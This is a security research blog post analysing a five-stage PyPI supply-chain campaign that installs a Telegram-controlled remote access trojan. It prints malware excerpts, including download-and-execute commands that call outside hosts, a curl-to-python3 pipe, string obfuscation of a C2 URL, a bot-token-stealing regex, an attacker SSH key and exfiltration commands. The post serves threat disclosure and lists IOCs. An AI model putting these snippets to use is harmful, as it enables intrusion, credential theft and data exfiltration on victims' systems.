Malicious Python Packages Deliver "Telegrem-Bot" Malware

By Paul McCarty

Malicious Python Packages Deliver "Telegrem-Bot" Malware

The Safety research team has discovered a new software supply chain attack targeting the PyPI ecosystem. We are calling this campaign “Telegrem-Bot” after the first Python package we examined.

This campaign includes seven malicious Python packages:

telegrem - author: Wowiwjwj

telegreph - author: Hejejdj

aiogrem - author: Hejejdj

rendom - author: Ejjehwhe

pyrogrem - author: Dsdwksjskskd

pyrogrqm - author:unknown

pyrogrom - author: Jshwheheh

Executive Summary

This set of Python packages are part of a sophisticated 5-stage supply chain attack targeting Python developers. This campaign deploys a fully-featured Remote Access Trojan (RAT) controlled via Telegram, providing complete remote administration capabilities including file exfiltration, command execution, SSH backdoor installation, token stealing, and mobile device data theft.

The Hunt Begins!

We found the original package "telegrem" as part of our work in identifying the Scopper Telegram remote access trojan (RAT). Scopper is a library that delivers Telegram based RAT functionality. Scopper is not a standalone RAT, but instead is meant to be used in other malicious packages. The "telegrem" package is the first we identified that was using the Scopper library.

__wf_reserved_inherit

This malicious package pretends to be an Islamic prayer times bot, which is how it tricks users into adding into their applications that interface with Telegram. The attack uses multiple layers of obfuscation, legitimate-looking decoy functionality (Islamic prayer bot), and a complex multi-stage delivery mechanism to evade detection and analysis.

STAGE 1: Telegrem package

There was

When our team started analyzing the payload for the telegrem-bot we knew immediately where its origins were. Two weeks ago we released our research on a new Python based RAT named "Scopper". You can read that blog here.

The Scopper package wasn't a stand alone RAT like you would traditionally see. Instead, the package authors meant for it to be imported, or used in other malicious packages and campaigns. So, we were on the lookout for other packages to install and import the Scopper pacakge. This is why we worked with the security team at PyPI to remove this package.

When we analyzed the code in the Telegrem pacakge, we new immediately, this was based on Scopper. Scopper was 142 lines of code, and this package was only 170.

Take a look at the code yourself and see what you think:

__wf_reserved_inherit

The telegrem author basically just added their own Telegram bot token and then used the existing Scopper functionality to run a command to download the second stage payload from https://pastebin[.]com/raw/xAT1vudj.  

It's not pretty, but it works.

Now get ready for a crazy ride through the rest of this attack chain...

STAGE 2: Islamic Prayer Bot (payload.py)

Purpose

First-stage loader disguised as a functional Islamic prayer times and Quran reading Telegram bot. Every stage in this attack chain exhibits comments written in Arabic.  Basically, its only job is to download the next stage payload.

Malicious Behavior

Remote Code Execution (Lines 299-305):

try:    response = love.get(d3mo)  # Downloads Stage 3    if response.status_code == 200:        code_to_run = response.text        threading.Thread(target=fast_set, args=(code_to_run,)).start() except Exception as e:    bot.send_message(7889168418, f"حدث خطأ: {e}")

Execution Engine (Lines 293-298):

import code as fast_se def fast_set(love_you):    try:        interpreter = fast_se.InteractiveInterpreter()        interpreter.runcode(love_you)    except Exception as e:        bot.send_message(7889168418, f"حدث خطأ: {e}")

C2 URL Obfuscation

Token-Based Character Extraction:

token = "8107850370:AAE1Mm-MrvA1ku4E6uZd-X_pBKrguPiYRhA" users = token[44] + token[27]  # 'h6' time = token[15] + token[7]     # 'M3' mainn = token[43]               # 'R' send = token[0] + 'JJ'          # '8JJ' botze = time + mainn + users + send  # 'M3Rh68JJ'

Ad3ya Class URL Fragments:The Ad3ya class contains 16 methods that return tuples with (prayer_text, url_fragment):

def fm_name(self):    return (        'h' + 't' + 't' + 'p' + 's:' + '/' + '/' +        'p' + 'a' + 's' + 't' + 'e' + 'bin.' + 'com/' +        'raw/' + 'M3Rh68JJ'    )

Reconstructed C2 URL: https://pastebin[.]com/raw/M3Rh68JJ

Decoy Functionality

  • Prayer times for Iraqi cities via api.aladhan.com
  • Quran page viewer (604 pages) from quran.ksu.edu.sa
  • Digital tasbih (prayer bead) counter
  • Random Islamic prayers (Ad'iya)
  • IOCs
  • Telegram Bot: 8107850370:AAE1Mm-MrvA1ku4E6uZd-X_pBKrguPiYRhA
  • Attacker Chat ID: 7889168418
  • C2 URL: https://pastebin[.]com/raw/M3Rh68JJ
  • STAGE 3: Stage Loader with Status Reporting
  • Purpose

    Downloads and executes Stage 4 while reporting status to attacker via Telegram.

    Malicious Code

    Download & Execute Command (Line 12):

    url = "<https://i7>" + "trak-" + "id3i.onrender.com" command = f"python -c \\\\"import requests; exec(requests.get('{url}').text)\\\\" || python3 -c \\\\"import requests; exec(requests.get('{url}').text)\\\\" > /dev/null 2>&1 &"

    Status Reporting (Lines 28-51):

    def execute_command_and_report():    try:        send_telegram_message("🚀 بدء تنفيذ الأمر...")  # "Starting execution..."        result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=10)        message = "✅ تم تنفيذ الأمر بنجاح\\\\n\\\\n"  # "Command executed successfully"        send_telegram_message(message)    except subprocess.TimeoutExpired:        send_telegram_message("⏱ انتهى الوقت المحدد للأمر دون اكتماله")  # "Timeout"    except Exception as e:        send_telegram_message(f"❌ حدث خطأ أثناء التنفيذ: {str(e)}")  # "Error"    finally:        send_telegram_message("🛑 تم إيقاف التشغيل")  # "Stopped"

    Techniques

  • Fallback execution: Tries python then python3
  • Stealth: Redirects all output to /dev/null
  • Background: Runs with & to avoid blocking
  • Monitoring: Reports all status changes to attacker
  • IOCs
  • Telegram Bot: 7573350100:AAGhDJC1dsAKym8myLFARlCCzna-bfRciBo
  • Attacker Chat ID: 1896077619
  • C2 URL: https://i7trak-id3i.onrender[.]com
  • STAGE 4: Full-Featured Telegram RAT
  • Overview

    This is the main payload - a sophisticated Remote Access Trojan with 5 distinct operating modes providing complete system control via Telegram bot commands. It's 973 lines of code, and it doesn't try to hide what its doing at this point. We suspect that the authors thought, that if the attack chain got this far, they didn't need to hide anymore.

    Infrastructure

  • Telegram Bot Token: 7104475220:AAEqHSMFzR542VyuCZqw9HBx-DTCnTe8ImI
  • Admin/Attacker ID: 1896077619
  • Auto-Install Dependencies: telebot, chardet, requests, pexpect
  • Operating Modes
  • MODE 1 (وضع 1): File Browser & Command Execution

    Purpose: Interactive shell access and file management

    Capabilities:

  • Persistent interactive terminal using pexpect
  • Full bash command execution
  • Directory navigation
  • File/folder listing
  • Individual file exfiltration
  • Bulk file exfiltration (ZIP all files)
  • Commands:
  • /start              - Initialize mode cd <directory>      - Change directory ls / dir / هات      - List files in current directory هات <filename>      - Send specific file to attacker هات_كلو             - ZIP and send all files from current directory <any command>       - Execute as bash command

    Implementation Details:

  • Uses pexpect.spawnu() or pexpect.spawn() for terminal (lines 143-159)
  • Maintains persistent shell session across commands
  • Handles timeouts and EOF gracefully
  • Supports both Linux and Windows paths
  • MODE 2 (وضع 2): SSH Backdoor & Server Exploitation
  • Purpose: Establish persistent SSH access and download additional exploits

    Capabilities:

  • SSH public key installation
  • Firewall manipulation (open port 22)
  • SSH server installation and configuration
  • Network reconnaissance
  • Download/execute Stage 5 payload
  • File system reconnaissance
  • Commands:
  • /start        - Show help menu /s            - List paths outside script directory /ss           - ZIP and send all files from current directory /karga        - Install SSH backdoor (add attacker's public key) /openport22   - Open port 22 using ufw firewall /openports    - Display open ports using netstat /fixserver    - Install OpenSSH server, open port 22, start service /opn          - Download and execute Stage 5 from Pastebin

    SSH Backdoor Public Key (Line 786):

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwoWLfDfPoUBbwQxPkOJiFEQTQDUCm4fXZWZIVnnEk5H8hVHqRipc12FxXqnhD6Hh47WVlzI25woUlXh+UQYXWZwGKsPQRVNkxFXkaNeQYwF7gvYGLeQowoSMpNPSu9xGp/Qx1dtqbdLCL3kwxuVLQilznYu4ylNsZ7+bnjA2OZwgIC+5Gag0+e9KcLG+aBJa4CqGTtC8RnaBpGmHPoWB62TNqLWcnOXZzCveEiNqPZRr9hAlKGVYCmbq67VCUPrBcWh8kPZl6WF5UGjLYJI5SIqhtpVEGKmREIx6k4RLMMJOaghrUMH2K4xy/zC4M1TfLuXIQe5uQygR1sZZe+iQboxDl4RnK/GC4rVMfbyNCVjaPh5HW8u4otC34HchLWzDwvboSimKbJuI6vzI2t4PxSsvKmW2swm+mfEK6HLjt2jbMr4kZAbg+4yAaWXRCvPqequZ1+Vg4q09zgx1yebc2zvcZqB14zTuG+sKxkIL9bIl0/Pp7y4d1y9s0PlgMFO3J4KphmjlKrUjrPA9JHCCGL7D2V69i3rUVWBeMgTHR+ota7R0i5I+O+41W9zeiR9IhYs/3pEnDgRMVOaVToBqDm1ILOx05J4lOKB/KD++BQfrzBkAXim93suVytFI4zXb5Dxchq+jrJ+1840EDH+x/mOzxZ/jW7sI/sV4Su0OH7w== u0_a268@localhost

    Stage 5 Download (Line 937):

    command = "nohup bash -c 'curl -fsSL <https://pastebin[.]com/raw/QASyStax> | python3 -' > /dev/null 2>&1 &" subprocess.Popen(command, shell=True)

    MODE 3 (وضع 3): File Scanner & Bulk Exfiltration

    Purpose: Recursively scan and exfiltrate specific file types

    Capabilities:

  • Recursive filesystem scanning
  • Targeted file type exfiltration (.py, .json, .txt)
  • Automatic directory zipping
  • Sent file tracking (avoids duplicates)
  • Remote file deletion
  • Commands:
  • <any text>    - Start recursive file scanning and exfiltration حذف           - Delete all previously exfiltrated files from victim system

    MODE 4 (وضع 4): Telegram Bot Token Stealer

    Purpose: Scan entire filesystem for Telegram bot tokens and steal them

    Capabilities:

  • Recursive scan from root directory /
  • Regex pattern matching for bot tokens: \\\\b\\\\d{10}:[A-Za-z0-9_-]{35,}\\\\b
  • Token validation via Telegram API
  • Bot information gathering (name, username, ID)
  • Report token + file path to attacker
  • Behavior:
  • Auto-activates when mode is selected (no command needed)
  • Scans ENTIRE FILESYSTEM starting from root
  • Only reports valid, working tokens
  • MODE 5 (وضع 5): Mobile Device Data Exfiltration
  • Purpose: Target Android/mobile devices for photo, location, and source code theft

    Capabilities:

  • Photo/image exfiltration from camera and gallery
  • IP-based geolocation tracking
  • Python/PHP source code theft
  • Android-specific path targeting
  • Interactive Buttons:
  • سحب صور       - Pull Photos (exfiltrate images) إرسال الموقع  - Send Location (geolocate via IP) سحب ملفات      - Pull Files (Python or PHP)

    Photo Sources Targeted:

    /storage/emulated/0/DCIM /storage/emulated/0/Pictures /sdcard/DCIM /sdcard/Pictures $HOME/storage/shared/DCIM /storage/emulated/0/Download

    Geolocation Services:

  • http://ip-api.com/json
  • https://ipapi.co/json
  • Persistence & Resilience
  • State Persistence:

  • Saves current mode to current_mode.txt
  • Auto-Restart on Error (Lines 964-974):
  • while True:    try:        if BOT_RUNNING:            send_message(ADMIN_ID, 'تم تشغيل البوت✅')            bot.polling(none_stop=True, interval=0, timeout=10)        else:            break    except Exception as e:        error_message = f"حدث خطأ في البوت:\\\\n{str(e)}"        send_message(ADMIN_ID, error_message)        # Loop continues, bot restarts

    Stop Protection:

  • Special command "إيقاف_بوت" required to stop
  • Auto-Install Dependencies (Lines 7-19):
  • required_packages = ["telebot", "chardet", "requests", "pexpect"] for package in required_packages:    try:        __import__(package)    except ImportError:        subprocess.check_call([sys.executable, "-m", "pip", "install", package])

    STAGE 5: The Final Payload

    Stage 4 mode 2 command /opn, will download a final payload via curl or wget from https://pastebin[.]com/raw/QASyStax.

    This final payload is 54 lines of code and attempts to open a listener on port 4444:

    Attack Chain Overview

    ┌─────────────────────────────────────────────────────────────────┐ │ STAGE 1: Initial Infection via PyPI                             │ │ Package: telegrem (malicious)                                   │ │ Disguise: Typosquatting legitimate "telegram" package           │ └────────────────────────┬────────────────────────────────────────┘                         │                         ▼ ┌─────────────────────────────────────────────────────────────────┐ │ STAGE 2: payload.py - Islamic Prayer Bot (Disguise)             │ │ C2: <https://pastebin[.]com/raw/M3Rh68JJ>                       │ │ Bot Token: 8107850370:AAE1Mm-MrvA1ku4E6uZd-X_pBKrguPiYRhA       │ │ Attacker ID: 7889168418                                         │ │ Technique: String obfuscation via token character extraction    │ └────────────────────────┬────────────────────────────────────────┘                         │                         ▼ ┌─────────────────────────────────────────────────────────────────┐ │ STAGE 3: Stage Loader with Status Reporting                     │ │ C2: <https://i7trak-id3i.onrender[.]com>                        │ │ Bot Token: 7573350100:AAGhDJC1dsAKym8myLFARlCCzna-bfRciBo       │ │ Attacker ID: 1896077619                                         │ │ Technique: Background execution, error reporting                │ └────────────────────────┬────────────────────────────────────────┘                         │                         ▼ ┌─────────────────────────────────────────────────────────────────┐ │ STAGE 4: Full Telegram RAT (Main Payload)                       │ │ Bot Token: 7104475220:AAEqHSMFzR542VyuCZqw9HBx-DTCnTe8ImI       │ │ Attacker ID: 1896077619                                         │ │ Capabilities: 5 operating modes for complete system control     │ └────────────────────────┬────────────────────────────────────────┘                         │                         ▼ ┌─────────────────────────────────────────────────────────────────┐ │ STAGE 5: Additional Exploit Payload (Optional)                  │ │ C2: <https://pastebin[.]com/raw/QASyStax>                       │ │ Trigger: /opn command in Mode 2                                 │ │ Purpose: Unknown (requires analysis)                            │ └─────────────────────────────────────────────────────────────────┘

    Indicators of Compromise (IOCs)

    Python Packages - All Versions

    telegrem

    telegreph

    aiogrem

    rendom

    pyrogrem

    pyrogrqm

    pyrogrom

    Domains and URLs

    Stage 2 C2: https://pastebin[.]com/raw/M3Rh68JJ

    Stage 3 C2: https://i7trak-id3i.onrender[.]com

    Stage 4 C2: https://pastebin[.]com/raw/QASyStax

    File hashes (sha256)

    176b54794647152a85cffdff5f4a4b6d39b00c2e0e630b34dbd7fb3f85054d59  ./telegrem/__init__.py (stage 1)

    88411259cbe8d54c0d2e5c6049baeacd185162b4f1688062a04edfbeea3a0ceb  stage2-payload

    7a83c277bf17f0ce4d5947472f7f3412b445c19f155a1167d6c828c86920bbb3  stage3-payload

    7e64808f141931443e406dd632be352c3e23c9e957b288d429ce989dedb03448  stage4-payload

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  stage5-payload

    Telegram Infrastructure - Bot tokens

    Stage 2 - 8107850370:AAE1Mm-MrvA1ku4E6uZd-X_pBKrguPiYRhA,7889168418 - Islamic bot disguise Stage 3 - 7573350100:AAGhDJC1dsAKym8myLFARlCCzna-bfRciBo,1896077619 - Stage loader Stage 4 - 7104475220:AAEqHSMFzR542VyuCZqw9HBx-DTCnTe8ImI,1896077619 - Main RAT C2

    SSH Backdoor

    Attacker's SSH Public Key (2048-bit RSA):

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwoWLfDfPoUBbwQxPkOJiFEQTQDUCm4fXZWZIVnnEk5H8hVHqRipc12FxXqnhD6Hh47WVlzI25woUlXh+UQYXWZwGKsPQRVNkxFXkaNeQYwF7gvYGLeQowoSMpNPSu9xGp/Qx1dtqbdLCL3kwxuVLQilznYu4ylNsZ7+bnjA2OZwgIC+5Gag0+e9KcLG+aBJa4CqGTtC8RnaBpGmHPoWB62TNqLWcnOXZzCveEiNqPZRr9hAlKGVYCmbq67VCUPrBcWh8kPZl6WF5UGjLYJI5SIqhtpVEGKmREIx6k4RLMMJOaghrUMH2K4xy/zC4M1TfLuXIQe5uQygR1sZZe+iQboxDl4RnK/GC4rVMfbyNCVjaPh5HW8u4otC34HchLWzDwvboSimKbJuI6vzI2t4PxSsvKmW2swm+mfEK6HLjt2jbMr4kZAbg+4yAaWXRCvPqequZ1+Vg4q09zgx1yebc2zvcZqB14zTuG+sKxkIL9bIl0/Pp7y4d1y9s0PlgMFO3J4KphmjlKrUjrPA9JHCCGL7D2V69i3rUVWBeMgTHR+ota7R0i5I+O+41W9zeiR9IhYs/3pEnDgRMVOaVToBqDm1ILOx05J4lOKB/KD++BQfrzBkAXim93suVytFI4zXb5Dxchq+jrJ+1840EDH+x/mOzxZ/jW7sI/sV4Su0OH7w== u0_a268@localhost

    How can Safety help protect you from these attacks?

    Traditional vulnerability scanning happens too late - after potentially malicious code is already in your system. Which means that ASPM and EDR solutions don't protect you from this type of threat.

    But all is not lost, as the Safety Firewall protects develoeprs and CI pipelines proactively. Every package installation request is analyzed before reaching public repositories. Malicious, vulnerable, and policy-violating packages are automatically blocked before they can enter your systems, preventing rather than just detecting threats.

    You can sign up for a free Safety account and try the Safety Firewall HERE.

    Feel free to reach out to me with any questions!

    Let us know if this blog post helped you

    I hope this blog post has helped you. Feel free to hit me up directly if you have any questions about this campaign.

    __wf_reserved_inherit

    Paul McCarty - Head of Research, Safety

    You can find me on LinkedIn and BlueSky.

    Read the full article